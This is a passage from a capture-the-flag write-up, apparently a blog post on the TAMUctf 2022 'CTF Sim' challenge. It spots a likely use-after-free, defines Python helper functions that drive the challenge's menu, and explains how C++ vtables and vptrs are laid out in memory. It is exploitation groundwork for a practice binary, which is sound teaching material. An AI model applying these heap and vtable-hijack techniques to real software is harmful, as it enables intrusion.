&lt;span class=&quot;token function&quot;&gt;fgets&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;writeup&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; length&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;stdin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Read writeup payload from input.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Interestingly, the &lt;code&gt;malloc&lt;/code&gt;ed chunk isn&#39;t &lt;code&gt;free&lt;/code&gt;d anywhere! Also in &lt;code&gt;solveChallenge&lt;/code&gt;, the value of &lt;code&gt;downloaded[i]&lt;/code&gt; isn&#39;t removed after being &lt;code&gt;delete&lt;/code&gt;d... This is starting to smell like a &lt;a href=&quot;https://web.archive.org/web/20231001021419/https://heap-exploitation.dhavalkapil.com/attacks/double_free&quot;&gt;double free&lt;/a&gt; or use-after-free vulnerability. But is it?&lt;/p&gt;
&lt;p&gt;Let&#39;s start by defining helper functions in Python to help us perform actions:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-py&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-py&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;download_chal&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;category&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; save_index&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; category &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; save_index &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;raise&lt;/span&gt; RuntimeError&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;bad bad&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&#39;1&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;category&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;encode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;save_index&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;encode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;solve_chal&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; index &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;raise&lt;/span&gt; RuntimeError&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;bad bad&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&#39;2&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;encode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;submit_writeup&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; length&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; length &lt;span class=&quot;token keyword&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        length &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;gt;=&lt;/span&gt; length&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;raise&lt;/span&gt; RuntimeError&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;your math bad bad&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&#39;&#92;n&#39;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; content&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;raise&lt;/span&gt; RuntimeError&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;bad bad newline&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&#39;3&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;encode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; content&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Now we just need to figure out how to call these, and what to call them with...&lt;/p&gt;
&lt;h4 id=&quot;virtual-tables&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-ctf-sim/#virtual-tables&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Virtual Tables&lt;/h4&gt;
&lt;p&gt;Ugh... virtual functions. They&#39;re convenient high-level features and great for polymorphism, but how do they actually work underneath?&lt;/p&gt;
&lt;p&gt;My Google-fu did not fail me. I found a couple useful resources:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a &lt;a href=&quot;https://stackoverflow.com/a/99341/10239789&quot;&gt;StackOverflow answer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;a &lt;a href=&quot;https://pabloariasal.github.io/2017/06/10/understanding-virtual-tables/&quot;&gt;well-written blog post&lt;/a&gt; by one named Pablo&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I&#39;ll try my best to summarise the wisdom found there:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If a class has a virtual function...
&lt;ul&gt;
&lt;li&gt;the class has a vtable, and&lt;/li&gt;
&lt;li&gt;objects of the class contains an &lt;em&gt;implicit&lt;/em&gt; &amp;quot;vptr&amp;quot; member.
&lt;ul&gt;
&lt;li&gt;In memory, the vptr is placed at the &lt;em&gt;very beginning&lt;/em&gt; of the object.&lt;/li&gt;
&lt;li&gt;The vptr points to the vtable of the class.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The vtable is a list of pointers to the concrete implementations of the virtual functions.&lt;/li&gt;
&lt;li&gt;When a virtual function is called, the vtable is accessed through the vptr. The vtable is then used to &lt;strong&gt;look up&lt;/strong&gt; the appropriate virtual function and pass it the appropriate parameters.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To better understand vtables and vpointers, here&#39;s a virtual function example in C++ along with a desugared version written in C.&lt;/p&gt;
&lt;p&gt;C++ Version:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Parent&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// void* vtable; // Implicit, but exists due to virtual functions.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; parent_data&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;Parent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; data&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; parent_data&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;virtual&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;parent (&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; parent_data &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;) foo: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;virtual&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;bar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;parent (&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; parent_data &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;) bar: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Inherits Parent::parent_data and Parent::foo.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Derived&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token base-clause&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Parent&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// void* vtable; // Implicit for same reason as Parent.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; derived_data&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;Derived&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; data&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; data2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Parent&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; derived_data&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;data2&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// Overrides Parent::bar.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;virtual&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;bar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;derived (&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; parent_data &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;, &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; derived_data &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;) bar: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    Parent p&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Parent::foo&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;bar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Parent::bar&lt;/span&gt;

    Derived d&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    d&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Parent::foo&lt;/span&gt;
    d&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;bar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Derived::bar&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;sup&gt;(&lt;a href=&quot;https://godbolt.org/#z:OYLghAFBqd5QCxAYwPYBMCmBRdBLAF1QCcAaPECAMzwBtMA7AQwFtMQByARg9KtQYEAysib0QXACx8BBAKoBnTAAUAHpwAMvAFYTStJg1DIApACYAQuYukl9ZATwDKjdAGFUtAK4sGIM6SuADJ4DJgAcj4ARpjE/gDspAAOqAqETgwe3r7%2ByanpAiFhkSwxcWaJdpgOGUIETMQEWT5%2BAVU1AnUNBEUR0bEJtvWNzTltwz2hfaUDFQCUtqhexMjsHOYAzKHI3lgA1CYbbk4KBMSYrIfYJhoAgje3O0wKCnvKDYwEB/FWd0leUVoeGQIAee3Be1CXySH0EAH10Ex6odfrcIW9YQQIFC9oj6nM9iA9jDzvC8UwTD9yZSACLfKzxGkPMEQgBueEaXjEe1ZqDw6D2/FQ2MEe1UBMpFj2p3QIBQSy%2BhzcSoOZjMJM%2Bewg5jMByOKo1ZKRTD1yqOqrMBKFRJ1ppVqjt5plctctBR3yZd3R7M53N5/L2UQaIq%2B4vp0oIsvlXkV%2BvNOsNX21asdbmJmIRxtTFoJQbiFuzDqVKudIFd7tpzMZKIeTxeexpsTwrMwAqJ/0BwIxpMVPweHaBIJZ4JxWGIzdbmeRG1R6Mb45b6BDuONpEhovJlsJ3c%2BkupjLXY4n6CnFKpxrMtPplbuw55HIIXNoPL5Arzy7DkojUbQMezOqPRctVtYtzUTU9/zVNcQLjNNAMnclIK3PMbRTUC0yLWDvxdBh0DdGcPSrJkZ2ZO4cRYJhQggCU%2By9CF3h7YlJS4SsSLo8EkgAOiFCBLXdAB6fid0EOUhTvLj3w2OYBKEhjPjlPNSLRCF52PXFJQAVjXAA2VjZwhdBuNQYV4mkgjBOEghROMu9DPfAAOMypQs1TFwUhoiI4BZaE4DTeD8DgtFIVBOGVSxrGlJYVkwVUNh4UgrMCryFgAaxADSNH0ThJH8zReBCjheAUEBMsSrQFjgWAYEQeUWCSOhYnISg0Dqhq4mALgzC4Pg6AIWJiogKI8tIKJQgaABPTh4pathBAAeQYW